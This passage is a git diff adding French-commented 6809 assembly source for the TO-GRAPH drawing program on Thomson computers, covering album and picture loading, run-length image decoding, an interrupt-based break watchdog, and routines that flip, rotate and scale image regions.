+ BNE BRF0 ->
+
+ LDX #FILNAM filtre
+ LDB #$24 $xxxxxxx.ALB
+ STB ,X+
+BRF1 CLR ,X+
+ CMPX #FILNAM+8
+ BNE BRF1 ->
+ LDD #$414C
+ STD ,X++
+ LDA #$42
+ STA ,X
+
+ LDX #TABALB
+BRF2 LDB #DIR0
+ ADDB FLGDIR,S
+ JSR EXTRA
+ TSTB
+ BNE FINIAL erreur ->
+ TST NAMSEC
+ BEQ FINICN fin ->
+ LDY NAMSLT
+ LDA #8
+BRF3 LDB ,Y+
+ STB ,X+
+ DECA
+ BNE BRF3 ->
+ LEAX 1,X
+ LDA #1
+ STA FLGDIR,S
+ DEC ALBC,S
+ BNE BRF2 suite charg ->
+
+* Chargement des albums sélectionné
+FINICN LDA ALBC,S
+ CMPA MAXALB
+ BEQ FINIAL ->
+ CLR ALBC,S
+ LDU #TABALB
+
+BRF4 LDD #$0A18
+ LDX #ZONTRA
+ LDY #LGZTRA
+ JSR SBREAK
+ LBCS FINIAL interrompu ->
+
+ LDD #$0401 visu chargement
+ LDY #$0120 courant
+ JSR FENLOF
+ LEAX MCALB,PCR
+ JSR FENEDI
+
+ TST ,U
+ BEQ INIVID ->
+ LDA #8 poste à charger
+ TFR U,X
+BRF5 LDB ,X+
+ JSR FENPUT
+ DECA
+ BNE BRF5 ->
+
+ TFR U,X
+ NEG 8,U si erreur sera
+* inv. par CHAALB
+ JSR CHAALB chargement->bank
+ BCS FINIAL erreur ->
+ STX ALBCOU
+
+ INC NBALB
+INIVID LEAU 9,U
+ INC ALBC,S
+ LDA ALBC,S
+ CMPA #16
+ BNE BRF4 suite ->
+
+FINIAL LEAS 2,S
+ PULS D,X,Y,U,PC
+
+
+*=======================================
+* S/P recherche d'un album dans table
+* (création si inexistant)
+* Entrée: X pt nom album
+* Sortie: CY 1 pas de place
+* 0 ok
+* X pt dans table si ok
+*=======================================
+
+CHALB PSHS U
+ LDU #XCHALB
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P lecture d'un dessin sur fichier
+* en la position courante
+*
+* Sortie: B 0 si ok
+* B #0 si erreur
+*=======================================
+
+MERDB FCC \CADRAGEINSUFFISANT\
+ FCB 0
+
+LECDES LEAS -11,S
+LGFIC SET 0
+TYPDES SET 2
+LARDES SET 3
+HAUDES SET 4
+MEMBK SET 5
+PBK SET 6
+TYPBLK SET 7 00: différents
+* FF: répétition
+LGBLK SET 8 lg bloc
+RPTBLK SET 9 bloc en répet
+PAGEC SET 10
+*---------------------------------------
+ LDA BANKC
+ STA MEMBK,S
+
+ LDB #SQI
+ STB FILMOD
+ LDB #OPEN
+ JSR EXTRA
+ TSTB
+ BEQ LEDE0 ->
+ JSR DOSERR
+ LBRA LEDEF ->
+
+LEDE0 JSR LECFIC lecture en tete
+ LBCS LEDEF ->
+ TSTA
+ LBNE LEDER ->
+ JSR LECFIC lecture lg zone
+ LBCS LEDEF ->
+ STA LGFIC,S
+ JSR LECFIC
+ LBCS LEDEF ->
+ STA LGFIC+1,S
+ JSR LECFIC passer 2
+ LBCS LEDEF ->
+ JSR LECFIC
+ LBCS LEDEF ->
+ JSR LECFIC lire type image
+ LBCS LEDEF ->
+ TSTA
+ BEQ LEDE1 ->
+ CMPA #$80
+ BEQ LEDE1 ->
+ LBRA LEDER ->
+
+LEDE1 STA TYPDES,S
+ JSR LECFIC lire largeur
+ LBCS LEDEF ->
+ INCA
+ STA LARDES,S
+ JSR LECFIC lire hauteur
+ LBCS LEDEF ->
+ INCA
+ STA HAUDES,S
+ ADDA RGDECR
+ CMPA #103
+ LBCC LEDED debord ->
+ LDA CLDECR
+ LSLA
+ ADDA LARDES,S
+ CMPA #121
+ LBCC LEDED debord ->
+
+* Calcul de l'adresse RAM début ligne
+* initiale de la feuille (bank+déplac.)
+ LDA <RGDECR *60*8 !
+ LSLA
+ LDB #60*4
+ MUL
+ ADDB <CLDECR
+ ADCA #0
+ ADDD <ADF
+ BCC LEDE10 ->
+ ADDD #$FFFF-48959
+LEDE10 CMPD #48960
+ BCS LEDE11 ->
+ SUBD #48960
+LEDE11 STD <ADPRRL
+ ROLA
+ ROLA
+ ROLA
+ ANDA #3
+ ADDA #PBKTRA
+ STA PBK,S
+ LDD <ADPRRL
+ ANDA #$3F
+ ADDD #$A000
+ STD <ADPRRL
+
+* Init. décodage
+ CLR LGBLK,S => lecture !
+ CLR PAGEC,S page 0
+ LDY <ADPRRL
+ LDA PBK,S
+ STA BANKC
+
+* Boucle de lecture .. Y= ad. RAM
+* U= cpt colonne
+BLEDE0 LDA HAUDES,S # boucle colonne
+ LDB #8
+ MUL
+ TFR D,U
+BLEDE1 TST LGBLK,S # boucle lignes
+ BNE LEDE25 bloc en cours ->
+ JSR LECFIC bloc a lire
+ LBCS LEDEF ->
+ STA TYPBLK,S
+ STA LGBLK,S
+ JSR LECFIC
+ LBCS LEDEF ->
+ TST TYPBLK,S
+ BEQ LEDE20 bloc diff. ->
+ STA RPTBLK,S bloc repet
+ BRA LEDE25 ->
+LEDE20 STA LGBLK,S
+LEDE25 TST TYPBLK,S
+ BEQ LEDE26 bloc diff. ->
+ LDA RPTBLK,S bloc repet
+ BRA LEDE27 ->
+LEDE26 JSR LECFIC
+ LBCS LEDEF ->
+LEDE27 DEC LGBLK,S
+ STA ,Y
+ LEAY 60,Y
+ JSR NEXTF
+ LEAU -1,U
+ CMPU #0
+ LBNE BLEDE1 ->
+
+ COM PAGEC,S
+ BMI LEDE50 ->
+ LDA PBK,S -> page paire
+ SUBA #3
+ STA PBK,S
+ STA BANKC
+ LDY <ADPRRL
+ LEAY 1,Y
+ JSR NEXTF
+ STY <ADPRRL
+ LDA BANKC
+ STA PBK,S
+ BRA LEDE59 ->
+LEDE50 LDA PBK,S -> page impaire
+ ADDA #3
+ STA PBK,S
+ STA BANKC
+ LDY <ADPRRL
+LEDE59 DEC LARDES,S
+ LBNE BLEDE0 ->
+
+ LDB #CLOSE
+ JSR EXTRA
+ CLRB
+ BRA LEDEF fini ->
+
+LEDED LEAX MERDB,PCR
+ JSR FENERR
+ BRA LEDEC ->
+LEDER LDB #78 'Bad picture'
+ JSR DOSERR
+LEDEC LDB #CLOSE
+ JSR EXTRA
+ LDB #$FF
+LEDEF LDA MEMBK,S
+ STA BANKC
+ LEAS 11,S
+ RTS
+
+
+*=======================================
+* S/P lecture sur le fichier courant
+*
+* Sortie: A car. lu si ok
+* CY 0 si ok
+* 1 si pb -> erreur traitée
+* fichier fermé
+*=======================================
+
+LECFIC PSHS U
+ LDU #XLECFI
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P test bouclage sur une des pages de
+* la feuille
+*
+* Entrée: Y ad. feuille
+* BANKC bank actif feuille
+* Sortie: idem !
+*=======================================
+
+NEXTF EQU *
+*---------------------------------------
+ CMPY #$DF40
+ BCS NEXTFF ->
+ LDA BANKC
+ CMPA #PBKTRA+2
+ BEQ NEXTF0 ->
+ CMPA #PBKTRA+5
+ BEQ NEXTF0 ->
+ CMPY #$E000
+ BCS NEXTFF ->
+ LEAY -$4000,Y
+ INC BANKC
+ BRA NEXTFF ->
+NEXTF0 LEAY -$3F40,Y
+ SUBA #2
+ STA BANKC
+NEXTFF RTS
+
+
+*=======================================
+* S/P pointage d'un album dans table
+*
+* Entrée: X pt nom album
+* Sortie: CY 1 pas trouvé
+* 0 ok
+* X pt dans table si ok
+* non modifié sinon
+*=======================================
+
+PTALB PSHS U
+ LDU #XPTALB
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P raz de l'écran de travail
+*=======================================
+
+RAZE PSHS U
+ LDU #XRAZEC
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P raz de la feuille de travail
+*=======================================
+
+RAZF PSHS U
+ LDU #XRAZFE
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P sélection d'un album préexistant
+*
+* Entrée: A,B coordonnées fenêtre
+* X =0 => visu seule
+* =-1 => sélection
+* Y nb niv. à remonter si ok
+* (aucun si <0 )
+* Sortie: CY 1 Raz ou pas d'album
+* 0 ok
+* X pt dans table si ok
+*=======================================
+
+SELALB PSHS U
+ LDU #XSELAL
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P visualisation de l'ascenceur bas
+*=======================================
+
+VISASB PSHS U
+ LDU #XVISAB
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P visualisation de l'ascenceur droit
+*=======================================
+
+VISASD PSHS U
+ LDU #XVISAD
+ JSR COMBK2
+ PULS U,PC
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-IP.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-IP.ASM
new file mode 100644
index 0000000..93e8425
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-IP.ASM
@@ -0,0 +1,1051 @@
+ TITLE TO-GRAPH: Cadrage/Impressi
+* ---------------------------------
+ PAGE
+
+****************************************
+* *
+* TO-GRAPH *
+* *
+* Cadrage/Impression GRAPH-IP *
+* *
+****************************************
+
+
+*=======================================
+* S/P Activation d'un chien de garde
+*
+* Entrée: U ad. en cas d'arret
+*=======================================
+
+ACTDOG LDA $E7E6
+ STA BKDOG
+ STU ADRDOG
+ LEAU 2,S
+ STU STKDOG
+ TFR DP,A
+ STA DPDOG
+ LDA #1
+ STA FLGDOG
+ RTS
+
+
+*=======================================
+* S/P raz d'une rectangulaire au point
+*
+* Entrée: XT0,YT0 coord. début
+* XT1,YT1 coord. fin
+*=======================================
+
+CLRTIR LDU #XCLRTI
+ JMP COMBK2
+
+
+*=======================================
+* S/P impression d'un fragment de page
+* limité par CADRNG-CADCOL
+* CADHAU-CADLAR
+* Entrée B interrupteur pleine page
+*=======================================
+
+IMPPAG LDU #XIMPPA
+ JMP COMBK2
+
+
+*=======================================
+* S/P initialisation du Chien de garde
+*=======================================
+
+INIDOG LDX #DDOG
+ LDY #XDOG
+INID0 LDA ,X+
+ STA ,Y+
+ CMPX #FDOG
+ BNE INID0 ->
+ CLR FLGDOG
+ LDD #XDOG activation
+ STD TIMEPT
+ LDA STATUS
+ ORA #$20
+ STA STATUS
+ RTS ->>
+
+DDOG TST FLGDOG ## TACHE IT ##
+ BEQ EXITIT non actif ->
+ JSR GETC
+ TSTB
+ BNE CNFDOG cnf ->
+ JSR LPIN
+ BCC EXITIT ->
+CNFDOG TFR S,X confirmation
+ LEAS -12,S hors IT par
+ TFR S,Y ATTDOG
+ LDB #12
+DDOG0 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE DDOG0 ->
+ LDD #XDOG+ATTDOG-DDOG
+ STD 10,S
+ CLR FLGDOG
+*
+* RTI va aller en ATTDOG au lieu point
+* interrompu !!!
+
+EXITIT JMP KBIN ->>>>
+
+ATTDOG TFR S,X pile provisoire
+ LDS STKDOG
+ LEAS -20,S
+ PSHS X
+ LDX #$6100 sauve extra
+ LEAY -712,S
+ATTDO9 LDD ,X++
+ STD ,Y++
+ CMPX #$6300
+ BNE ATTDO9 ->
+ LDB REGY+1 test d'interupti
+ LSRB
+ LSRB
+ LSRB
+ CMPB #14
+ BLE ATTDO0 ->
+ LDB #14
+ATTDO0 CMPB #5
+ BGE ATTDO5 ->
+ LDB #5
+ATTDO5 PSHS B
+ LDD REGX
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ CMPB #50
+ BLE ATTDO1 ->
+ LDB #50
+ATTDO1 PULS A
+ LEAX -200,S
+ JSR TBREAK
+ BCC ATTDON ->
+ LDA BKDOG confirmé
+ STA $E7E6
+ LDA DPDOG
+ TFR A,DP
+ LDS STKDOG
+ LDX ADRDOG
+ JMP ,X ->>>>
+
+ATTDON LDX #$6100 restaure extra
+ LEAY -712,S
+ATTDO8 LDD ,Y++
+ STD ,X++
+ CMPX #$6300
+ BNE ATTDO8 ->
+ PULS X
+ TFR X,S
+ COM FLGDOG
+ PULS CC,D,DP,X,Y,U,PC ->>>>
+FDOG EQU *
+
+
+*=======================================
+* S/P Lecture d'un bit sur le tiroir
+*
+* Entrée: X coord. dans tiroir
+* CPTLT
+* Sortie: Z bit nul ou non
+*=======================================
+
+LECTXY LDU #XLECTX
+ JMP COMBK2
+
+
+*=======================================
+* S/P lecture écran -> tiroir
+*
+* Entrée XT0,YT0 coord. début
+* XT1,YT1 coord. fin
+*=======================================
+
+LITTIR LDU #XLITTI
+ JMP COMBK2
+
+
+*=======================================
+* S/P modification du tiroir
+* Nb: la souris est en REGX/REGY
+*=======================================
+
+FFMODT FCB FLOCF,0,0,13,14
+ FCB FTRAME,FTOURI
+ FCB FCOMF,FF,OFF
+ FCB FLOCF,1,1,11,12
+ FCB FFOND,FTOURE,FCADRE
+
+ FCB FLOCF,2,4,1,6,FTOURE
+ FCB FEDI,ESC,$4E,SS2,$2C,96
+ FCB SS2,$2E,0
+ FCB FPOUSS,BS,OFF
+
+ FCB FLOCF,4,2,3,2,FTOURE
+ FCB FEDI,ESC,$4C,95,LF,BS
+ FCB ESC,$4E,SS2,$2F,0
+ FCB FPOUSS,29,OFF
+
+ FCB FLOCF,4,6,3,2,FTOURE
+ FCB FEDI,SS2,$2D,LF,BS,BS,124
+ FCB LF,BS,BS,SS2,$2F,0
+ FCB FPOUSS,LF,OFF
+
+ FCB FLOCF,4,10,3,2,FTOURE
+ FCB FEDI,LF,SS2,$2D,LF,BS,BS
+ FCB ESC,$4C,126,0
+ FCB FPOUSS,30,OFF
+
+ FCB FLOCF,8,4,3,6,FTOURE
+ FCB FEDI,ESC,$4E,SP,SS2,$2D
+ FCB LF,BS,BS,BS,BS,SS2,$2C
+ FCB SP,SS2,$2E,BS,BS,BS,BS,LF
+ FCB SS2,$2F,ESC,$4C,0
+ FCB FPOUSS,28,OFF
+ FCB FSTOP
+
+FFCNFT FCB FLOCF,0,0,5,22
+ FCB FTRAME,FTOURI
+ FCB FLOCF,1,1,3,20
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCF,2,2,1,20
+ FCB FEDI
+ FCC \OKAnnuler\
+ FCB 0
+ FCB FLOCF,2,6,1,1
+ FCB FEDI,BALISE,0
+ FCB FPOUSS,RC,OFF
+ FCB FLOCF,2,18,1,1
+ FCB FEDI,BALISE,0
+ FCB FPOUSS,FF,OFF
+ FCB FSTOP
+
+MPBMDT FCC \ROTATIONIMPOSSIBLE\
+ FCB 0
+
+FFEXPT FCB FLOCA,1,4,23,74
+ FCB FCOMF,FF,OFF
+ FCB FSTOP
+
+MODTIR LEAS -920,S
+COEFTL SET 0
+COEFTH SET 4
+MEMXT SET 8
+NEWXT0 SET 10
+NEWYT0 SET 12
+NEWXT1 SET 14
+NEWYT1 SET 16
+MULTL SET 18
+MULTH SET 19
+MMTOR SET 20
+MMNOIR SET 21 FF=> ligne en cour
+BUFFER SET 22
+*---------------------------------------
+
+ LEAX FFMODT,PCR
+ LDB REGY+1
+ LSRB
+ LSRB
+ LSRB
+ LDA #10
+ CMPB #10
+ BLE MODT00 ->
+ TFR A,B
+MODT00 PSHS B
+ LDD REGX
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ LDA #63
+ CMPB #63
+ BLE MODT01 ->
+ TFR A,B
+MODT01 PULS A
+ JSR FENOUV
+
+MODT0 JSR FENACT
+MODT1 JSR FEN
+ LDU #PILFEN
+ PSHU CC,D,X,Y
+ TSTB
+ BEQ MODT1 ->
+ CMPB #BS
+ LBEQ MTDG ->
+ CMPB #HT
+ LBEQ MTDG ->
+ CMPB #LF
+ LBEQ MTHB ->
+ CMPB #VT
+ LBEQ MTHB ->
+ CMPB #29
+ LBEQ MTROTP ->
+ CMPB #30
+ LBEQ MTROTM ->
+ CMPB #28
+ LBEQ MTEXP ->
+ CMPB #FF
+ LBNE MODT1 ->
+ CLRB
+ JSR FENFER
+ LBRA MTRET ->
+
+*** Retournement Droite Gauche
+MTDG EQU *
+ CLRB
+ JSR FENFER
+ JSR CLRTIR
+
+ LDX #0
+BMTDG0 LDA <HPTTIR
+ STA <CPTLT
+
+BMTDG1 TFR X,U
+ LEAX BUFFER,S test d'interrupt
+ LDD #$0D35
+ LBSR SBREAK
+ LBCS MTRETA ->
+ TFR U,X
+ DEC <CPTLT
+ LDA <CPTLT
+ CMPA #-1
+ BEQ BMTDG2 ->
+ JSR LECTXY
+ BEQ BMTDG1 ->
+ PSHS X
+ LDD <LPTTIR
+ SUBD ,S
+ ADDD #31
+ TFR D,X
+ CLRA
+ LDB #8
+ ADDB <CPTLT
+ TFR D,Y
+ LDB #PSETXY
+ JSR EXTRA
+ PULS X
+ LBRA BMTDG1 ->
+
+BMTDG2 LEAX 1,X
+ CMPX <LPTTIR
+ LBNE BMTDG0 ->
+
+ LBRA MTFIN ->
+
+*** Retournement Haut Bas
+MTHB EQU *
+ CLRB
+ JSR FENFER
+ JSR CLRTIR
+
+ LDX #0
+BMTHB0 LDA <HPTTIR
+ STA <CPTLT
+
+BMTHB1 TFR X,U
+ LEAX BUFFER,S test d'interrupt
+ LDD #$0D35
+ LBSR SBREAK
+ LBCS MTRETA ->
+ TFR U,X
+ DEC <CPTLT
+ LDA <CPTLT
+ CMPA #-1
+ BEQ BMTHB2 ->
+ JSR LECTXY
+ BEQ BMTHB1 ->
+ LEAX 32,X
+ CLRA
+ LDB #7
+ ADDB <HPTTIR
+ SUBB <CPTLT
+ TFR D,Y
+ LDB #PSETXY
+ JSR EXTRA
+ LEAX -32,X
+ LBRA BMTHB1 ->
+
+BMTHB2 LEAX 1,X
+ CMPX <LPTTIR
+ LBNE BMTHB0 ->
+
+ LBRA MTFIN ->
+
+*** Rotation sens horaire
+MTROTP EQU *
+ LDD <LPTTIR
+ CMPD #184
+ BLE MTRTP0 ->
+ LEAX MPBMDT,PCR
+ JSR FENERR
+ LBRA MODT0 ->
+
+MTRTP0 EQU *
+ CLRB
+ JSR FENFER
+ LDD #$0104 fond tramé
+ LDY #$174A
+ JSR FENLOC
+ JSR FENTRA
+ LDD <XT1
+ PSHS D
+ CLRA
+ LDB <YT1
+ SUBB #8
+ ADDB #32
+ STD <XT1
+ PULS D
+ SUBB #32
+ ADDB #8
+ STB <YT1
+ JSR CLRTIR
+
+ LDX #0
+BMTRP0 LDA <HPTTIR
+ STA <CPTLT
+
+BMTRP1 TFR X,U
+ LEAX BUFFER,S test d'interrupt
+ LDD #$0D35
+ LBSR SBREAK
+ LBCS MTRETA ->
+ TFR U,X
+ DEC <CPTLT
+ LDA <CPTLT
+ CMPA #-1
+ BEQ BMTRP2 ->
+ JSR LECTXY
+ BEQ BMTRP1 ->
+ PSHS X
+ LEAX 8,X
+ TFR X,Y
+ CLRA
+ LDB <HPTTIR
+ SUBB <CPTLT
+ ADDB #31
+ TFR D,X
+ LDB #PSETXY
+ JSR EXTRA
+ PULS X
+ LBRA BMTRP1 ->
+
+BMTRP2 LEAX 1,X
+ CMPX <LPTTIR
+ LBNE BMTRP0 ->
+
+ LBRA MTFIN ->
+
+*** Rotation sens anti-horaire
+MTROTM EQU *
+ LDD <LPTTIR
+ CMPD #184
+ BLE MTRTM0 ->
+ LEAX MPBMDT,PCR
+ JSR FENERR
+ LBRA MODT0 ->
+
+MTRTM0 EQU *
+ CLRB
+ JSR FENFER
+ LDD #$0104 fond tramé
+ LDY #$174A
+ JSR FENLOC
+ JSR FENTRA
+ LDD <XT1
+ PSHS D
+ CLRA
+ LDB <YT1
+ SUBB #8
+ ADDB #32
+ STD <XT1
+ PULS D
+ SUBB #32
+ ADDB #8
+ STB <YT1
+ JSR CLRTIR
+
+ LDX #0
+BMTRM0 LDA <HPTTIR
+ STA <CPTLT
+
+BMTRM1 TFR X,U
+ LEAX BUFFER,S test d'interrupt
+ LDD #$0D35
+ LBSR SBREAK
+ LBCS MTRETA ->
+ TFR U,X
+ DEC <CPTLT
+ LDA <CPTLT
+ CMPA #-1
+ BEQ BMTRM2 ->
+ JSR LECTXY
+ BEQ BMTRM1 ->
+ PSHS X
+ CLRA
+ LDB <CPTLT
+ ADDD #32
+ TFR D,X
+ LDD <LPTTIR
+ SUBD ,S
+ ADDD #7
+ TFR D,Y
+ LDB #PSETXY
+ JSR EXTRA
+ PULS X
+ LBRA BMTRM1 ->
+
+BMTRM2 LEAX 1,X
+ CMPX <LPTTIR
+ LBNE BMTRM0 ->
+
+ LBRA MTFIN ->
+
+*** Expension tiroir
+MTEXP EQU *
+ CLRB
+ JSR FENFER
+ LEAX FFEXPT,PCR
+ LDD #0
+ JSR FENOUV
+
+ LDA #2 tortue invisible
+ STA MMTOR,S
+ CLRB
+ JSR FENTOR
+
+ LDD #32 zone délimitée
+ STD X0TIRE
+ LDD #8
+ STD Y0TIRE
+ LDA TLIGN
+ PSHS A
+ LDA #1
+ STA TLIGN
+ CLR FILFLG
+ LDX REGX
+ STX X1TIRE
+ LDY REGY
+ STY Y1TIRE
+ JSR TRINV
+ JSR TRRECT
+ JSR TRINV
+ JSR TRLIGN
+ PULS A
+ STA TLIGN
+
+* Sélection nouvelle forme
+
+ JSR FENACT
+
+EXSFT1 LDU #PILFEN
+ JSR FEN
+ PSHU CC,D,X,Y
+ CMPB #FF
+ BNE EXSFT2 ->
+
+EXSFTA CLRB RAZ !
+ JSR FENFER
+ LDD #0 tortue std
+ JSR FENTOR
+ LBRA MTRETA ->
+
+*** Tester la gestion souris
+
+EXSFT2 LDA REGCC
+ TFR A,CC
+ LBCC EXSFT8 ->
+
+EXSFT3 JSR LPIN
+ BCS EXSFT3 ->
+
+*** Clic de sélection
+
+* calcul dimensions point de la
+* zone... on ignore si trop petite
+* (erreur probable !)
+ LDD Y1TIRE
+ SUBD Y0TIRE
+ ADDD #1
+ CMPD #8
+ LBCS EXSFT1 ->
+ LDD X1TIRE
+ SUBD X0TIRE
+ ADDD #1
+ CMPD #8
+ LBCS EXSFT1 ->
+
+ CLRB
+ JSR FENFER
+ LDD #0 tortue std
+ JSR FENTOR
+ LDD #$0104 fond tramé
+ LDY #$174A
+ JSR FENLOC
+ JSR FENTRA
+ LDD X1TIRE
+ STD <XT1
+ LDD Y1TIRE
+ STB <YT1
+ JSR CLRTIR
+
+ LDD X1TIRE calcul rapport
+ SUBD X0TIRE largeur
+ ADDD #1
+ STD FACMO
+ LDA #2
+ STA VALTYP
+ LDA #4
+ LDB #FRCTYP
+ JSR EXTRA
+ LDB #MOVAF
+ JSR EXTRA
+ LDA #2
+ STA VALTYP
+ LDD <LPTTIR
+ STD FACMO
+ LDA #4
+ LDB #FRCTYP
+ JSR EXTRA
+ LDB #DIVGO
+ JSR EXTRA
+ LEAX COEFTL,S
+ LDB #MOVMF
+ JSR EXTRA
+
+ LDB #MOVAF voir si coef > 1
+ JSR EXTRA
+ LDD #1
+ STD FACMO
+ LDA #2
+ STA VALTYP
+ LDA #4
+ LDB #FRCTYP
+ JSR EXTRA
+ LDB #SUBGO
+ JSR EXTRA
+ LDB #SGN
+ JSR EXTRA
+ LDD FACMO
+ STB MULTL,S
+
+ LDD Y1TIRE calcul rapport
+ SUBD Y0TIRE largeur
+ ADDD #1
+ STD FACMO
+ LDA #2
+ STA VALTYP
+ LDA #4
+ LDB #FRCTYP
+ JSR EXTRA
+ LDB #MOVAF
+ JSR EXTRA
+ LDA #2
+ STA VALTYP
+ CLRA
+ LDB <HPTTIR
+ STD FACMO
+ LDA #4
+ LDB #FRCTYP
+ JSR EXTRA
+ LDB #DIVGO
+ JSR EXTRA
+ LEAX COEFTH,S
+ LDB #MOVMF
+ JSR EXTRA
+ CLR MMNOIR,S
+
+ LDB #MOVAF voir si coef > 1
+ JSR EXTRA
+ LDD #1
+ STD FACMO
+ LDA #2
+ STA VALTYP
+ LDA #4
+ LDB #FRCTYP
+ JSR EXTRA
+ LDB #SUBGO
+ JSR EXTRA
+ LDB #SGN
+ JSR EXTRA
+ LDD FACMO
+ STB MULTH,S
+
+ LDX #0 expension
+ STX MEMXT,S
+BMTRE0 CLR <CPTLT
+
+ LEAX BUFFER,S test d'interrupt
+ LDD #$0D35
+ LBSR SBREAK
+ LBCS MTRETA ->
+BMTRE1 LDX MEMXT,S
+ JSR LECTXY
+ LBNE LMTR90 pt noir ->
+
+ TST MMNOIR,S
+ LBEQ LMTRE9 lg blanche ->
+
+ COM MMNOIR,S
+ LEAX COEFTH,S calcul coord. y
+ LDA #4 fin de ligne
+ STA VALTYP
+ LDB #MOVFM
+ JSR EXTRA
+ LDB #MOVAF
+ JSR EXTRA
+ CLRA
+ LDB <CPTLT
+ TST MULTH,S
+ BPL LMTR40 ->
+ DECB
+LMTR40 STD FACMO
+ LDA #2
+ STA VALTYP
+ LDA #4
+ LDB #FRCTYP
+ JSR EXTRA
+ LDB #MULTGO
+ JSR EXTRA
+ LDA #2
+ LDB #FRCTYP
+ JSR EXTRA
+ LDD FACMO
+ TST MULTH,S
+ BMI LMTR50 ->
+ SUBD #1
+LMTR50 STD NEWYT1,S
+
+ LDX NEWXT0,S tracé ligne en
+ LEAX 32,X
+ STX XXXXXX cours
+ LDX NEWXT1,S
+ LEAX 32,X
+ CMPX X1TIRE
+ BLE BMTR70 ->
+ LDX X1TIRE
+BMTR70 LDY NEWYT0,S
+ LEAY 8,Y
+ STY YYYYYY
+ LDY NEWYT1,S
+ LEAY 8,Y
+ CMPY Y1TIRE
+ BLE BMTR71 ->
+ LDY Y1TIRE
+BMTR71 LDA #$FF
+ STA FILFLG
+ LDD #PLEIN
+ STD MACP
+ LDB #BOX
+ CMPX XXXXXX
+ BNE BMTR91 ->
+ LDB #LINE
+BMTR91 JSR EXTRA
+ LBRA LMTRE9 ->
+
+LMTR90 TST MMNOIR,S
+ LBNE LMTRE9 suite ligne ->
+
+ COM MMNOIR,S
+ LEAX COEFTL,S calcul coord.
+ LDA #4 debut ligne
+ STA VALTYP
+ LDB #MOVFM
+ JSR EXTRA
+ LDB #MOVAF
+ JSR EXTRA
+ LDX MEMXT,S
+ STX FACMO
+ LDA #2
+ STA VALTYP
+ LDA #4
+ LDB #FRCTYP
+ JSR EXTRA
+ LDB #MULTGO
+ JSR EXTRA
+ LDA #2
+ LDB #FRCTYP
+ JSR EXTRA
+ LDD FACMO
+ STD NEWXT0,S
+ STD NEWXT1,S
+ TST MULTL,S
+ BLE LMTRE0 ->
+
+ LEAX COEFTL,S calcul nb pt en x
+ LDA #4
+ STA VALTYP
+ LDB #MOVFM
+ JSR EXTRA
+ LDB #MOVAF
+ JSR EXTRA
+ LDX MEMXT,S
+ LEAX 1,X
+ STX FACMO
+ LDA #2
+ STA VALTYP
+ LDA #4
+ LDB #FRCTYP
+ JSR EXTRA
+ LDB #MULTGO
+ JSR EXTRA
+ LDA #2
+ LDB #FRCTYP
+ JSR EXTRA
+ LDD FACMO
+ SUBD #1
+ CMPD NEWXT0,S
+ BLE LMTRE0 ->
+ STD NEWXT1,S
+
+LMTRE0 LEAX COEFTH,S calcul coord. y
+ LDA #4 deb de ligne
+ STA VALTYP
+ LDB #MOVFM
+ JSR EXTRA
+ LDB #MOVAF
+ JSR EXTRA
+ CLRA
+ LDB <CPTLT
+ STD FACMO
+ LDA #2
+ STA VALTYP
+ LDA #4
+ LDB #FRCTYP
+ JSR EXTRA
+ LDB #MULTGO
+ JSR EXTRA
+ LDA #2
+ LDB #FRCTYP
+ JSR EXTRA
+ LDD FACMO
+ STD NEWYT0,S
+ STD NEWYT1,S si pas d'augment
+
+LMTRE9 INC <CPTLT # fin d'un pt
+ LDA <CPTLT
+ CMPA <HPTTIR
+ LBNE BMTRE1 ->
+
+ TST MMNOIR,S # fin d'une lign
+ LBEQ BMTR93 lig blanche ->
+
+ COM MMNOIR,S
+ TST MULTH,S calcul coord. y
+ BEQ LMTR60 ->
+ LEAX COEFTH,S
+ LDA #4
+ STA VALTYP
+ LDB #MOVFM
+ JSR EXTRA
+ LDB #MOVAF
+ JSR EXTRA
+ CLRA
+ LDB <CPTLT
+ STD FACMO
+ LDA #2
+ STA VALTYP
+ LDA #4
+ LDB #FRCTYP
+ JSR EXTRA
+ LDB #MULTGO
+ JSR EXTRA
+ LDA #2
+ LDB #FRCTYP
+ JSR EXTRA
+ LDD FACMO
+ SUBD #1
+ STD NEWYT1,S
+
+LMTR60 LDX NEWXT0,S tracé ligne en
+ LEAX 32,X cours
+ STX XXXXXX
+ LDX NEWXT1,S
+ LEAX 32,X
+ CMPX X1TIRE
+ BLE BMTR80 ->
+ LDX X1TIRE
+BMTR80 LDY NEWYT0,S
+ LEAY 8,Y
+ STY YYYYYY
+ LDY NEWYT1,S
+ LEAY 8,Y
+ CMPY Y1TIRE
+ BLE BMTR81 ->
+ LDY Y1TIRE
+BMTR81 LDA #$FF
+ STA FILFLG
+ LDD #PLEIN
+ STD MACP
+ LDB #BOX
+ CMPX XXXXXX
+ BNE BMTR92 ->
+ LDB #LINE
+BMTR92 JSR EXTRA
+
+BMTR93 LDX MEMXT,S
+ LEAX 1,X
+ STX MEMXT,S
+ CMPX <LPTTIR
+ LBNE BMTRE0 ->
+
+ LBRA MTFIN ->
+
+*** Gestion annulation souris
+EXSFT8 LDA REGCC
+ TFR A,CC
+ BNE EXSFT9 ->
+EXSFTZ JSR LPIN clic droit !
+ BEQ EXSFTZ ->
+ LBRA EXSFTA ->
+
+*** Gestion déplacement
+EXSFT9 LDA REGA
+ LBEQ EXSFT1 ->
+ LDX #$0104
+ LDY #$174A
+ JSR SOUDAN
+ BCS EXST00 ->
+ TST MMTOR,S
+ LBEQ EXSFT1 ->
+ LDD #0 tortue std
+ STA MMTOR,S
+ JSR FENTOR
+ LBRA EXSFT1 ->
+EXST00 LDA MMTOR,S
+ CMPA #2
+ BEQ EXST01 ->
+ LDA #2 tortue invisible
+ STA MMTOR,S
